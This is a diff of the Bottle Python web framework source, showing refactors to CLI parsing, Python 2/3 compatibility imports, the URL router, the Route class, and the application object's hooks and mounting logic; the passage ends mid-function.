+def _cli_parse(args): # pragma: no coverage + from argparse import ArgumentParser + + parser = ArgumentParser(prog=args[0], usage="%(prog)s [options] package.module:app") + opt = parser.add_argument + opt("--version", action="store_true", help="show version number.") + opt("-b", "--bind", metavar="ADDRESS", help="bind socket to ADDRESS.") + opt("-s", "--server", default='wsgiref', help="use SERVER as backend.") + opt("-p", "--plugin", action="append", help="install additional plugin/s.") + opt("-c", "--conf", action="append", metavar="FILE", + help="load config values from FILE.") + opt("-C", "--param", action="append", metavar="NAME=VALUE", + help="override config values.") + opt("--debug", action="store_true", help="start server in debug mode.") + opt("--reload", action="store_true", help="auto-reload on file changes.") + opt('app', help='WSGI app entry point.', nargs='?') + + cli_args = parser.parse_args(args[1:]) + + return cli_args, parser +def _cli_patch(cli_args): # pragma: no coverage + parsed_args, _ = _cli_parse(cli_args) + opts = parsed_args + if opts.server: + if opts.server.startswith('gevent'): + import gevent.monkey + gevent.monkey.patch_all() + elif opts.server.startswith('eventlet'): + import eventlet + eventlet.monkey_patch() -# We now try to fix 2.5/2.6/3.1/3.2 incompatibilities. -# It ain't pretty but it works... Sorry for the mess. -py = sys.version_info -py3k = py >= (3,0,0) -py25 = py < (2,6,0) -py31 = (3,1,0) <= py < (3,2,0) +if __name__ == '__main__': + _cli_patch(sys.argv) + +############################################################################### +# Imports and Python 2/3 unification ########################################## +############################################################################### -# Workaround for the missing "as" keyword in py3k. -def _e(): return sys.exc_info()[1] +import base64, calendar, email.utils, functools, hmac, itertools,\ + mimetypes, os, re, tempfile, threading, time, warnings, weakref, hashlib + +from types import FunctionType +from datetime import date as datedate, datetime, timedelta +from tempfile import NamedTemporaryFile +from traceback import format_exc, print_exc +from unicodedata import normalize -# Workaround for the "print is a keyword/function" Python 2/3 dilemma -# and a fallback for mod_wsgi (resticts stdout/err attribute access) try: - _stdout, _stderr = sys.stdout.write, sys.stderr.write -except IOError: - _stdout = lambda x: sys.stdout.write(x) - _stderr = lambda x: sys.stderr.write(x) + from ujson import dumps as json_dumps, loads as json_lds +except ImportError: + from json import dumps as json_dumps, loads as json_lds + +py = sys.version_info +py3k = py.major > 2 # Lots of stdlib and builtin differences. if py3k: @@ -80,75 +93,111 @@ def _e(): return sys.exc_info()[1] from urllib.parse import urljoin, SplitResult as UrlSplitResult from urllib.parse import urlencode, quote as urlquote, unquote as urlunquote urlunquote = functools.partial(urlunquote, encoding='latin1') - from http.cookies import SimpleCookie - from collections import MutableMapping as DictMixin - import pickle + from http.cookies import SimpleCookie, Morsel, CookieError + from collections.abc import MutableMapping as DictMixin + from types import ModuleType as new_module from io import BytesIO + import configparser + from datetime import timezone + UTC = timezone.utc + # getfullargspec was deprecated in 3.5 and un-deprecated in 3.6 + # getargspec was deprecated in 3.0 and removed in 3.11 + from inspect import getfullargspec + def getargspec(func): + spec = getfullargspec(func) + kwargs = makelist(spec[0]) + makelist(spec.kwonlyargs) + return kwargs, spec[1], spec[2], spec[3] + basestring = str unicode = str json_loads = lambda s: json_lds(touni(s)) callable = lambda x: hasattr(x, '__call__') imap = map -else: # 2.x + + def _raise(*a): + raise a[0](a[1]).with_traceback(a[2]) +else: # 2.x + warnings.warn("Python 2 support will be dropped in Bottle 0.14", DeprecationWarning) import httplib import thread from urlparse import urljoin, SplitResult as UrlSplitResult from urllib import urlencode, quote as urlquote, unquote as urlunquote - from Cookie import SimpleCookie + from Cookie import SimpleCookie, Morsel, CookieError from itertools import imap - import cPickle as pickle + from imp import new_module from StringIO import StringIO as BytesIO - if py25: - msg = "Python 2.5 support may be dropped in future versions of Bottle." - warnings.warn(msg, DeprecationWarning) - from UserDict import DictMixin - def next(it): return it.next() - bytes = str - else: # 2.6, 2.7 - from collections import MutableMapping as DictMixin + import ConfigParser as configparser + from collections import MutableMapping as DictMixin + from inspect import getargspec + from datetime import tzinfo + + class _UTC(tzinfo): + def utcoffset(self, dt): return timedelta(0) + def tzname(self, dt): return "UTC" + def dst(self, dt): return timedelta(0) + UTC = _UTC() + + unicode = unicode json_loads = json_lds + exec(compile('def _raise(*a): raise a[0], a[1], a[2]', '', 'exec')) + # Some helpers for string/byte handling def tob(s, enc='utf8'): - return s.encode(enc) if isinstance(s, unicode) else bytes(s) + if isinstance(s, unicode): + return s.encode(enc) + return b'' if s is None else bytes(s) + + def touni(s, enc='utf8', err='strict'): - return s.decode(enc, err) if isinstance(s, bytes) else unicode(s) + if isinstance(s, bytes): + return s.decode(enc, err) + return unicode("" if s is None else s) + + tonat = touni if py3k else tob -# 3.2 fixes cgi.FieldStorage to accept bytes (which makes a lot of sense). -# 3.1 needs a workaround. -if py31: - from io import TextIOWrapper - class NCTextIOWrapper(TextIOWrapper): - def close(self): pass # Keep wrapped buffer open. -# File uploads (which are implemented as empty FiledStorage instances...) -# have a negative truth value. That makes no sense, here is a fix. -class FieldStorage(cgi.FieldStorage): - def __nonzero__(self): return bool(self.list or self.file) - if py3k: __bool__ = __nonzero__ +def _stderr(*args): + try: + print(*args, file=sys.stderr) + except (IOError, AttributeError): + pass # Some environments do not allow printing (mod_wsgi) + # A bug in functools causes it to break if the wrapper is an instance method def update_wrapper(wrapper, wrapped, *a, **ka): - try: functools.update_wrapper(wrapper, wrapped, *a, **ka) - except AttributeError: pass - - + try: + functools.update_wrapper(wrapper, wrapped, *a, **ka) + except AttributeError: + pass # These helpers are used at module level and need to be defined first. # And yes, I know PEP-8, but sometimes a lower-case classname makes more sense. -def depr(message): - warnings.warn(message, DeprecationWarning, stacklevel=3) -def makelist(data): # This is just to handy - if isinstance(data, (tuple, list, set, dict)): return list(data) - elif data: return [data] - else: return [] +def depr(major, minor, cause, fix, stacklevel=3): + text = "Warning: Use of deprecated feature or API. (Deprecated in Bottle-%d.%d)\n"\ + "Cause: %s\n"\ + "Fix: %s\n" % (major, minor, cause, fix) + if DEBUG == 'strict': + raise DeprecationWarning(text) + warnings.warn(text, DeprecationWarning, stacklevel=stacklevel) + return DeprecationWarning(text) + + +def makelist(data): # This is just too handy + if isinstance(data, (tuple, list, set, dict)): + return list(data) + elif data: + return [data] + else: + return [] class DictProperty(object): - ''' Property that maps to a key in a local dict-like attribute. ''' + """ Property that maps to a key in a local dict-like attribute. """ + def __init__(self, attr, key=None, read_only=False): self.attr, self.key, self.read_only = attr, key, read_only @@ -173,11 +222,12 @@ def __delete__(self, obj): class cached_property(object): - ''' A property that is only computed once per instance and then replaces + """ A property that is only computed once per instance and then replaces itself with an ordinary attribute. Deleting the attribute resets the - property. ''' + property. """ def __init__(self, func): + update_wrapper(self, func) self.func = func def __get__(self, obj, cls): @@ -187,7 +237,8 @@ def __get__(self, obj, cls): class lazy_attribute(object): - ''' A property that caches itself to the class object. ''' + """ A property that caches itself to the class object. """ + def __init__(self, func): functools.update_wrapper(self, func, updated=[]) self.getter = func @@ -198,12 +249,8 @@ def __get__(self, obj, cls): return value - - - - ############################################################################### -# Exceptions and Events ######################################################## +# Exceptions and Events ####################################################### ############################################################################### @@ -211,11 +258,6 @@ class BottleException(Exception): """ A base class for exceptions used by bottle. """ pass - - - - - ############################################################################### # Routing ###################################################################### ############################################################################### @@ -229,19 +271,31 @@ class RouteReset(BottleException): """ If raised by a plugin or request handler, the route is reset and all plugins are re-applied. """ -class RouterUnknownModeError(RouteError): pass + +class RouterUnknownModeError(RouteError): + + pass class RouteSyntaxError(RouteError): - """ The route parser found something not supported by this router """ + """ The route parser found something not supported by this router. """ class RouteBuildError(RouteError): - """ The route could not been built """ + """ The route could not be built. """ + + +def _re_flatten(p): + """ Turn all capturing groups in a regular expression pattern into + non-capturing groups. """ + if '(' not in p: + return p + return re.sub(r'(\\*)(\(\?P<[^>]+>|\((?!\?))', lambda m: m.group(0) if + len(m.group(1)) % 2 else m.group(1) + '(?:', p) class Router(object): - ''' A Router is an ordered collection of route->target pairs. It is used to + """ A Router is an ordered collection of route->target pairs. It is used to efficiently match WSGI requests against a number of routes and return the first target that satisfies the request. The target may be anything, usually a string, ID or callable object. A route consists of a path-rule @@ -250,177 +304,212 @@ class Router(object): The path-rule is either a static path (e.g. `/contact`) or a dynamic path that contains wildcards (e.g. `/wiki/`). The wildcard syntax and details on the matching order are described in docs:`routing`. - ''' + """ default_pattern = '[^/]+' - default_filter = 're' - #: Sorry for the mess. It works. Trust me. - rule_syntax = re.compile('(\\\\*)'\ - '(?:(?::([a-zA-Z_][a-zA-Z_0-9]*)?()(?:#(.*?)#)?)'\ - '|(?:<([a-zA-Z_][a-zA-Z_0-9]*)?(?::([a-zA-Z_]*)'\ - '(?::((?:\\\\.|[^\\\\>]+)+)?)?)?>))') + default_filter = 're' + + #: The current CPython regexp implementation does not allow more + #: than 99 matching groups per regular expression. + _MAX_GROUPS_PER_PATTERN = 99 def __init__(self, strict=False): - self.rules = {} # A {rule: Rule} mapping - self.builder = {} # A rule/name->build_info mapping - self.static = {} # Cache for static routes: {path: {method: target}} - self.dynamic = [] # Cache for dynamic routes. See _compile() + self.rules = [] # All rules in order + self._groups = {} # index of regexes to find them in dyna_routes + self.builder = {} # Data structure for the url builder + self.static = {} # Search structure for static routes + self.dyna_routes = {} + self.dyna_regexes = {} # Search structure for dynamic routes #: If true, static routes are no longer checked first. self.strict_order = strict - self.filters = {'re': self.re_filter, 'int': self.int_filter, - 'float': self.float_filter, 'path': self.path_filter} - - def re_filter(self, conf): - return conf or self.default_pattern, None, None - - def int_filter(self, conf): - return r'-?\d+', int, lambda x: str(int(x)) - - def float_filter(self, conf): - return r'-?[\d.]+', float, lambda x: str(float(x)) - - def path_filter(self, conf): - return r'.+?', None, None + self.filters = { + 're': lambda conf: (_re_flatten(conf or self.default_pattern), + None, None), + 'int': lambda conf: (r'-?\d+', int, lambda x: str(int(x))), + 'float': lambda conf: (r'-?[\d.]+', float, lambda x: str(float(x))), + 'path': lambda conf: (r'.+?', None, None) + } def add_filter(self, name, func): - ''' Add a filter. The provided function is called with the configuration + """ Add a filter. The provided function is called with the configuration string as parameter and must return a (regexp, to_python, to_url) tuple. - The first element is a string, the last two are callables or None. ''' + The first element is a string, the last two are callables or None. """ self.filters[name] = func - def parse_rule(self, rule): - ''' Parses a rule into a (name, filter, conf) token stream. If mode is - None, name contains a static rule part. ''' + rule_syntax = re.compile('(\\\\*)' + '(?:(?::([a-zA-Z_][a-zA-Z_0-9]*)?()(?:#(.*?)#)?)' + '|(?:<([a-zA-Z_][a-zA-Z_0-9]*)?(?::([a-zA-Z_]*)' + '(?::((?:\\\\.|[^\\\\>])+)?)?)?>))') + + def _itertokens(self, rule): offset, prefix = 0, '' for match in self.rule_syntax.finditer(rule): prefix += rule[offset:match.start()] g = match.groups() - if len(g[0])%2: # Escaped wildcard + if g[2] is not None: + depr(0, 13, "Use of old route syntax.", + "Use instead of :name in routes.", + stacklevel=4) + if len(g[0]) % 2: # Escaped wildcard prefix += match.group(0)[len(g[0]):] offset = match.end() continue - if prefix: yield prefix, None, None - name, filtr, conf = g[1:4] if not g[2] is None else g[4:7] - if not filtr: filtr = self.default_filter - yield name, filtr, conf or None + if prefix: + yield prefix, None, None + name, filtr, conf = g[4:7] if g[2] is None else g[1:4] + yield name, filtr or 'default', conf or None offset, prefix = match.end(), '' if offset <= len(rule) or prefix: - yield prefix+rule[offset:], None, None + yield prefix + rule[offset:], None, None def add(self, rule, method, target, name=None): - ''' Add a new route or replace the target for an existing route. ''' - if rule in self.rules: - self.rules[rule][method] = target - if name: self.builder[name] = self.builder[rule] - return - - target = self.rules[rule] = {method: target} - - # Build pattern and other structures for dynamic routes - anons = 0 # Number of anonymous wildcards - pattern = '' # Regular expression pattern - filters = [] # Lists of wildcard input filters - builder = [] # Data structure for the URL builder + """ Add a new rule or replace the target for an existing rule. """ + anons = 0 # Number of anonymous wildcards found + keys = [] # Names of keys + pattern = '' # Regular expression pattern with named groups + filters = [] # Lists of wildcard input filters + builder = [] # Data structure for the URL builder is_static = True - for key, mode, conf in self.parse_rule(rule): + + for key, mode, conf in self._itertokens(rule): if mode: is_static = False + if mode == 'default': mode = self.default_filter mask, in_filter, out_filter = self.filters[mode](conf) - if key: - pattern += '(?P<%s>%s)' % (key, mask) - else: + if not key: pattern += '(?:%s)' % mask - key = 'anon%d' % anons; anons += 1 + key = 'anon%d' % anons + anons += 1 + else: + pattern += '(?P<%s>%s)' % (key, mask) + keys.append(key) if in_filter: filters.append((key, in_filter)) builder.append((key, out_filter or str)) elif key: pattern += re.escape(key) builder.append((None, key)) + self.builder[rule] = builder if name: self.builder[name] = builder if is_static and not self.strict_order: - self.static[self.build(rule)] = target + self.static.setdefault(method, {}) + self.static[method][self.build(rule)] = (target, None) return - def fpat_sub(m): - return m.group(0) if len(m.group(1)) % 2 else m.group(1) + '(?:' - flat_pattern = re.sub(r'(\\*)(\(\?P<[^>]*>|\((?!\?))', fpat_sub, pattern) - try: - re_match = re.compile('^(%s)$' % pattern).match - except re.error: - raise RouteSyntaxError("Could not add Route: %s (%s)" % (rule, _e())) - - def match(path): - """ Return an url-argument dictionary. """ - url_args = re_match(path).groupdict() - for name, wildcard_filter in filters: - try: - url_args[name] = wildcard_filter(url_args[name]) - except ValueError: - raise HTTPError(400, 'Path has wrong format.') - return url_args + re_pattern = re.compile('^(%s)$' % pattern) + re_match = re_pattern.match + except re.error as e: + raise RouteSyntaxError("Could not add Route: %s (%s)" % (rule, e)) + + if filters: + + def getargs(path): + url_args = re_match(path).groupdict() + for name, wildcard_filter in filters: + try: + url_args[name] = wildcard_filter(url_args[name]) + except ValueError: + raise HTTPError(400, 'Path has wrong format.') + return url_args + elif re_pattern.groupindex: + + def getargs(path): + return re_match(path).groupdict() + else: + getargs = None - try: - combined = '%s|(^%s$)' % (self.dynamic[-1][0].pattern, flat_pattern) - self.dynamic[-1] = (re.compile(combined), self.dynamic[-1][1]) - self.dynamic[-1][1].append((match, target)) - except (AssertionError, IndexError): # AssertionError: Too many groups - self.dynamic.append((re.compile('(^%s$)' % flat_pattern), - [(match, target)])) - return match + flatpat = _re_flatten(pattern) + whole_rule = (rule, flatpat, target, getargs) + + if (flatpat, method) in self._groups: + if DEBUG: + msg = 'Route <%s %s> overwrites a previously defined route' + warnings.warn(msg % (method, rule), RuntimeWarning, stacklevel=3) + self.dyna_routes[method][ + self._groups[flatpat, method]] = whole_rule + else: + self.dyna_routes.setdefault(method, []).append(whole_rule) + self._groups[flatpat, method] = len(self.dyna_routes[method]) - 1 + + self._compile(method) + + def _compile(self, method): + all_rules = self.dyna_routes[method] + comborules = self.dyna_regexes[method] = [] + maxgroups = self._MAX_GROUPS_PER_PATTERN + for x in range(0, len(all_rules), maxgroups): + some = all_rules[x:x + maxgroups] + combined = (flatpat for (_, flatpat, _, _) in some) + combined = '|'.join('(^%s$)' % flatpat for flatpat in combined) + combined = re.compile(combined).match + rules = [(target, getargs) for (_, _, target, getargs) in some] + comborules.append((combined, rules)) def build(self, _name, *anons, **query): - ''' Build an URL by filling the wildcards in a rule. ''' + """ Build an URL by filling the wildcards in a rule. """ builder = self.builder.get(_name) - if not builder: raise RouteBuildError("No route with that name.", _name) + if not builder: + raise RouteBuildError("No route with that name.", _name) try: - for i, value in enumerate(anons): query['anon%d'%i] = value - url = ''.join([f(query.pop(n)) if n else f for (n,f) in builder]) - return url if not query else url+'?'+urlencode(query) - except KeyError: - raise RouteBuildError('Missing URL argument: %r' % _e().args[0]) + for i, value in enumerate(anons): + query['anon%d' % i] = value + url = ''.join([f(query.pop(n)) if n else f for (n, f) in builder]) + return url if not query else url + '?' + urlencode(query) + except KeyError as E: + raise RouteBuildError('Missing URL argument: %r' % E.args[0]) def match(self, environ): - ''' Return a (target, url_agrs) tuple or raise HTTPError(400/404/405). ''' - path, targets, urlargs = environ['PATH_INFO'] or '/', None, {} - if path in self.static: - targets = self.static[path] - else: - for combined, rules in self.dynamic: - match = combined.match(path) - if not match: continue - getargs, targets = rules[match.lastindex - 1] - urlargs = getargs(path) if getargs else {} - break - - if not targets: - raise HTTPError(404, "Not found: " + repr(environ['PATH_INFO'])) - method = environ['REQUEST_METHOD'].upper() - if method in targets: - return targets[method], urlargs - if method == 'HEAD' and 'GET' in targets: - return targets['GET'], urlargs - if 'ANY' in targets: - return targets['ANY'], urlargs - allowed = [verb for verb in targets if verb != 'ANY'] - if 'GET' in allowed and 'HEAD' not in allowed: - allowed.append('HEAD') - raise HTTPError(405, "Method not allowed.", Allow=",".join(allowed)) + """ Return a (target, url_args) tuple or raise HTTPError(400/404/405). """ + verb = environ['REQUEST_METHOD'].upper() + path = environ['PATH_INFO'] or '/' + + methods = ('PROXY', 'HEAD', 'GET', 'ANY') if verb == 'HEAD' else ('PROXY', verb, 'ANY') + + for method in methods: + if method in self.static and path in self.static[method]: + target, getargs = self.static[method][path] + return target, getargs(path) if getargs else {} + elif method in self.dyna_regexes: + for combined, rules in self.dyna_regexes[method]: + match = combined(path) + if match: + target, getargs = rules[match.lastindex - 1] + return target, getargs(path) if getargs else {} + + # No matching route found. Collect alternative methods for 405 response + allowed = set([]) + nocheck = set(methods) + for method in set(self.static) - nocheck: + if path in self.static[method]: + allowed.add(method) + for method in set(self.dyna_regexes) - allowed - nocheck: + for combined, rules in self.dyna_regexes[method]: + match = combined(path) + if match: + allowed.add(method) + if allowed: + allow_header = ",".join(sorted(allowed)) + raise HTTPError(405, "Method not allowed.", Allow=allow_header) + + # No matching route and no alternative method found. We give up + raise HTTPError(404, "Not found: " + repr(path)) class Route(object): - ''' This class wraps a route callback along with route specific metadata and + """ This class wraps a route callback along with route specific metadata and configuration and applies Plugins on demand. It is also responsible for - turing an URL path rule into a regular expression usable by the Router. - ''' + turning an URL path rule into a regular expression usable by the Router. + """ - def __init__(self, app, rule, method, callback, name=None, - plugins=None, skiplist=None, **config): + def __init__(self, app, rule, method, callback, + name=None, + plugins=None, + skiplist=None, **config): #: The application this route is installed to. self.app = app - #: The path-rule string (e.g. ``/wiki/:page``). + #: The path-rule string (e.g. ``/wiki/``). self.rule = rule #: The HTTP method as a string (e.g. ``GET``). self.method = method @@ -435,38 +524,26 @@ def __init__(self, app, rule, method, callback, name=None, #: Additional keyword arguments passed to the :meth:`Bottle.route` #: decorator are stored in this dictionary. Used for route-specific #: plugin configuration and meta-data. - self.config = ConfigDict(config) - - def __call__(self, *a, **ka): - depr("Some APIs changed to return Route() instances instead of"\ - " callables. Make sure to use the Route.call method and not to"\ - " call Route instances directly.") - return self.call(*a, **ka) + self.config = app.config._make_overlay() + self.config.load_dict(config) @cached_property def call(self): - ''' The route callback with all plugins applied. This property is - created on demand and then cached to speed up subsequent requests.''' + """ The route callback with all plugins applied. This property is + created on demand and then cached to speed up subsequent requests.""" return self._make_callback() def reset(self): - ''' Forget any cached values. The next time :attr:`call` is accessed, - all plugins are re-applied. ''' + """ Forget any cached values. The next time :attr:`call` is accessed, + all plugins are re-applied. """ self.__dict__.pop('call', None) def prepare(self): - ''' Do all on-demand work immediately (useful for debugging).''' + """ Do all on-demand work immediately (useful for debugging).""" self.call - @property - def _context(self): - depr('Switch to Plugin API v2 and access the Route object directly.') - return dict(rule=self.rule, method=self.method, callback=self.callback, - name=self.name, app=self.app, config=self.config, - apply=self.plugins, skip=self.skiplist) - def all_plugins(self): - ''' Yield all Plugins affecting this route. ''' + """ Yield all Plugins affecting this route. """ unique = set() for p in reversed(self.app.plugins + self.plugins): if True in self.skiplist: break @@ -481,24 +558,51 @@ def _make_callback(self): for plugin in self.all_plugins(): try: if hasattr(plugin, 'apply'): - api = getattr(plugin, 'api', 1) - context = self if api > 1 else self._context - callback = plugin.apply(callback, context) + callback = plugin.apply(callback, self) else: callback = plugin(callback) - except RouteReset: # Try again with changed configuration. + except RouteReset: # Try again with changed configuration. return self._make_callback() - if not callback is self.callback: + if callback is not self.callback: update_wrapper(callback, self.callback) return callback - def __repr__(self): - return '<%s %r %r>' % (self.method, self.rule, self.callback) - - - - + def get_undecorated_callback(self): + """ Return the callback. If the callback is a decorated function, try to + recover the original function. """ + func = self.callback + while True: + if getattr(func, '__wrapped__', False): + func = func.__wrapped__ + elif getattr(func, '__func__', False): + func = func.__func__ + elif getattr(func, '__closure__', False): + cells_values = (cell.cell_contents for cell in func.__closure__) + isfunc = lambda x: isinstance(x, FunctionType) or hasattr(x, '__call__') + func = next(iter(filter(isfunc, cells_values)), func) + else: + break + return func + + def get_callback_args(self): + """ Return a list of argument names the callback (most likely) accepts + as keyword arguments. If the callback is a decorated function, try + to recover the original function before inspection. """ + return getargspec(self.get_undecorated_callback())[0] + + def get_config(self, key, default=None): + """ Lookup a config field and return its value, first checking the + route.config, then route.app.config.""" + depr(0, 13, "Route.get_config() is deprecated.", + "The Route.config property already includes values from the" + " application config for missing keys. Access it directly.") + return self.config.get(key, default) + def __repr__(self): + cb = self.get_undecorated_callback() + return '<%s %s -> %s:%s>' % ( + self.method, self.rule, cb.__module__, getattr(cb, '__name__', '__call__') + ) ############################################################################### # Application Object ########################################################### @@ -514,66 +618,127 @@ class Bottle(object): let debugging middleware handle exceptions. """ - def __init__(self, catchall=True, autojson=True): - #: If true, most exceptions are caught and returned as :exc:`HTTPError` - self.catchall = catchall + @lazy_attribute + def _global_config(cls): + cfg = ConfigDict() + cfg.meta_set('catchall', 'validate', bool) + return cfg + + def __init__(self, **kwargs): + #: A :class:`ConfigDict` for app specific configuration. + self.config = self._global_config._make_overlay() + self.config._add_change_listener( + functools.partial(self.trigger_hook, 'config')) + + self.config.update({ + "catchall": True + }) + + if kwargs.get('catchall') is False: + depr(0, 13, "Bottle(catchall) keyword argument.", + "The 'catchall' setting is now part of the app " + "configuration. Fix: `app.config['catchall'] = False`") + self.config['catchall'] = False + if kwargs.get('autojson') is False: + depr(0, 13, "Bottle(autojson) keyword argument.", + "The 'autojson' setting is now part of the app " + "configuration. Fix: `app.config['json.enable'] = False`") + self.config['json.disable'] = True + + self._mounts = [] #: A :class:`ResourceManager` for application files self.resources = ResourceManager() - #: A :class:`ConfigDict` for app specific configuration. - self.config = ConfigDict() - self.config.autojson = autojson - - self.routes = [] # List of installed :class:`Route` instances. - self.router = Router() # Maps requests to :class:`Route` instances. + self.routes = [] # List of installed :class:`Route` instances. + self.router = Router() # Maps requests to :class:`Route` instances. self.error_handler = {} # Core plugins - self.plugins = [] # List of installed plugins. - self.hooks = HooksPlugin() - self.install(self.hooks) - if self.config.autojson: - self.install(JSONPlugin()) + self.plugins = [] # List of installed plugins. + self.install(JSONPlugin()) self.install(TemplatePlugin()) + #: If true, most exceptions are caught and returned as :exc:`HTTPError` + catchall = DictProperty('config', 'catchall') - def mount(self, prefix, app, **options): - ''' Mount an application (:class:`Bottle` or plain WSGI) to a specific - URL prefix. Example:: + __hook_names = 'before_request', 'after_request', 'app_reset', 'config' + __hook_reversed = {'after_request'} - root_app.mount('/admin/', admin_app) + @cached_property + def _hooks(self): + return dict((name, []) for name in self.__hook_names) + + def add_hook(self, name, func): + """ Attach a callback to a hook. Three hooks are currently implemented: + + before_request + Executed once before each request. The request context is + available, but no routing has happened yet. + after_request + Executed once after each request regardless of its outcome. + app_reset + Called whenever :meth:`Bottle.reset` is called. + """ + if name in self.__hook_reversed: + self._hooks[name].insert(0, func) + else: + self._hooks[name].append(func) - :param prefix: path prefix or `mount-point`. If it ends in a slash, - that slash is mandatory. - :param app: an instance of :class:`Bottle` or a WSGI application. + def remove_hook(self, name, func): + """ Remove a callback from a hook. """ + if name in self._hooks and func in self._hooks[name]: + self._hooks[name].remove(func) + return True - All other parameters are passed to the underlying :meth:`route` call. - ''' - if isinstance(app, basestring): - prefix, app = app, prefix - depr('Parameter order of Bottle.mount() changed.') # 0.10 + def trigger_hook(self, __name, *args, **kwargs): + """ Trigger a hook and return a list of results. """ + return [hook(*args, **kwargs) for hook in self._hooks[__name][:]] + + def hook(self, name): + """ Return a decorator that attaches a callback to a hook. See + :meth:`add_hook` for details.""" + + def decorator(func): + self.add_hook(name, func) + return func + + return decorator + def _mount_wsgi(self, prefix, app, **options): segments = [p for p in prefix.split('/') if p] - if not segments: raise ValueError('Empty path prefix.') + if not segments: + raise ValueError('WSGI applications cannot be mounted to "/".') path_depth = len(segments) def mountpoint_wrapper(): try: request.path_shift(path_depth) - rs = BaseResponse([], 200) - def start_response(status, header): + rs = HTTPResponse([]) + + def start_response(status, headerlist, exc_info=None): + if exc_info: + _raise(*exc_info) + if py3k: + # Errors here mean that the mounted WSGI app did not + # follow PEP-3333 (which requires latin1) or used a + # pre-encoding other than utf8 :/ + status = status.encode('latin1').decode('utf8') + headerlist = [(k, v.encode('latin1').decode('utf8')) + for (k, v) in headerlist] rs.status = status - for name, value in header: rs.add_header(name, value) + for name, value in headerlist: + rs.add_header(name, value) return rs.body.append + body = app(request.environ, start_response) - body = itertools.chain(rs.body, body) - return HTTPResponse(body, rs.status_code, **rs.headers) + rs.body = itertools.chain(rs.body, body) if rs.body else body + return rs finally: request.path_shift(-path_depth) options.setdefault('skip', True) - options.setdefault('method', 'ANY') + options.setdefault('method', 'PROXY') options.setdefault('mountpoint', {'prefix': prefix, 'target': app}) options['callback'] = mountpoint_wrapper @@ -581,21 +746,74 @@ def start_response(status, header): if not prefix.endswith('/'): self.route('/' + '/'.join(segments), **options) + def _mount_app(self, prefix, app, **options): + if app in self._mounts or '_mount.app' in app.config: + depr(0, 13, "Application mounted multiple times. Falling back to WSGI mount.", + "Clone application before mounting to a different location.") + return self._mount_wsgi(prefix, app, **options) + + if options: + depr(0, 13, "Unsupported mount options. Falling back to WSGI mount.", + "Do not specify any route options when mounting bottle application.") + return self._mount_wsgi(prefix, app, **options) + + if not prefix.endswith("/"): + depr(0, 13, "Prefix must end in '/'. Falling back to WSGI mount.", + "Consider adding an explicit redirect from '/prefix' to '/prefix/' in the parent application.") + return self._mount_wsgi(prefix, app, **options) + + self._mounts.append(app) + app.config['_mount.prefix'] = prefix + app.config['_mount.app'] = self + for route in app.routes: + route.rule = prefix + route.rule.lstrip('/') + self.add_route(route) + + def mount(self, prefix, app, **options): + """ Mount an application (:class:`Bottle` or plain WSGI) to a specific + URL prefix. Example:: + + parent_app.mount('/prefix/', child_app) + + :param prefix: path prefix or `mount-point`. + :param app: an instance of :class:`Bottle` or a WSGI application. + + Plugins from the parent application are not applied to the routes + of the mounted child application. If you need plugins in the child + application, install them separately. + + While it is possible to use path wildcards within the prefix path + (:class:`Bottle` childs only), it is highly discouraged. + + The prefix path must end with a slash. If you want to access the + root of the child application via `/prefix` in addition to + `/prefix/`, consider adding a route with a 307 redirect to the + parent application. + """ + + if not prefix.startswith('/'): + raise ValueError("Prefix must start with '/'") + + if isinstance(app, Bottle): + return self._mount_app(prefix, app, **options) + else: + return self._mount_wsgi(prefix, app, **options) + def merge(self, routes): - ''' Merge the routes of another :class:`Bottle` application or a list of + """ Merge the routes of another :class:`Bottle` application or a list of :class:`Route` objects into this application. The routes keep their 'owner', meaning that the :data:`Route.app` attribute is not - changed. ''' + changed. """ if isinstance(routes, Bottle): routes = routes.routes for route in routes: self.add_route(route) def install(self, plugin): - ''' Add a plugin to the list of plugins and prepare it for being + """ Add a plugin to the list of plugins and prepare it for being applied to all routes of this application. A plugin may be a simple decorator or an object that implements the :class:`Plugin` API. - ''' + """ if hasattr(plugin, 'setup'): plugin.setup(self) if not callable(plugin) and not hasattr(plugin, 'apply'): raise TypeError("Plugins must be callable or implement .apply()") @@ -604,10 +822,10 @@ def install(self, plugin): return plugin def uninstall(self, plugin): - ''' Uninstall plugins. Pass an instance to remove a specific plugin, a type + """ Uninstall plugins. Pass an instance to remove a specific plugin, a type object to remove all plugins that match that type, a string to remove all plugins with a matching ``name`` attribute or ``True`` to remove all - plugins. Return the list of removed plugins. ''' + plugins. Return the list of removed plugins. """ removed, remove = [], plugin for i, plugin in list(enumerate(self.plugins))[::-1]: if remove is True or remove is plugin or remove is type(plugin) \ @@ -618,30 +836,31 @@ def uninstall(self, plugin): if removed: self.reset() return removed - def run(self, **kwargs): - ''' Calls :func:`run` with the same parameters. ''' - run(self, **kwargs) - def reset(self, route=None): - ''' Reset all routes (force plugins to be re-applied) and clear all + """ Reset all routes (force plugins to be re-applied) and clear all caches. If an ID or route object is given, only that specific route - is affected. ''' + is affected. """ if route is None: routes = self.routes elif isinstance(route, Route): routes = [route] else: routes = [self.routes[route]] - for route in routes: route.reset() + for route in routes: + route.reset() if DEBUG: - for route in routes: route.prepare() - self.hooks.trigger('app_reset') + for route in routes: + route.prepare() + self.trigger_hook('app_reset') def close(self): - ''' Close the application and all installed plugins. ''' + """ Close the application and all installed plugins. """ for plugin in self.plugins: if hasattr(plugin, 'close'): plugin.close() - self.stopped = True + + def run(self, **kwargs): + """ Calls :func:`run` with the same parameters. """ + run(self, **kwargs) def match(self, environ): - """ Search for a matching route and return a (:class:`Route` , urlargs) + """ Search for a matching route and return a (:class:`Route`, urlargs) tuple. The second value is a dictionary with parameters extracted from the URL. Raise :exc:`HTTPError` (404/405) on a non-match.""" return self.router.match(environ) @@ -653,21 +872,26 @@ def get_url(self, routename, **kargs): return urljoin(urljoin('/', scriptname), location) def add_route(self, route): - ''' Add a route object, but do not change the :data:`Route.app` - attribute.''' + """ Add a route object, but do not change the :data:`Route.app` + attribute.""" self.routes.append(route) self.router.add(route.rule, route.method, route, name=route.name) if DEBUG: route.prepare() - def route(self, path=None, method='GET', callback=None, name=None, - apply=None, skip=None, **config): + def route(self, + path=None, + method='GET', + callback=None, + name=None, + apply=None, + skip=None, **config): """ A decorator to bind a function to a request URL. Example:: - @app.route('/hello/:name') + @app.route('/hello/') def hello(name): return 'Hello %s' % name - The ``:name`` part is a wildcard. See :class:`Router` for syntax + The ```` part is a wildcard. See :class:`Router` for syntax details. :param path: Request path or a list of paths to listen to. If no @@ -689,16 +913,19 @@ def hello(name): if callable(path): path, callback = None, path plugins 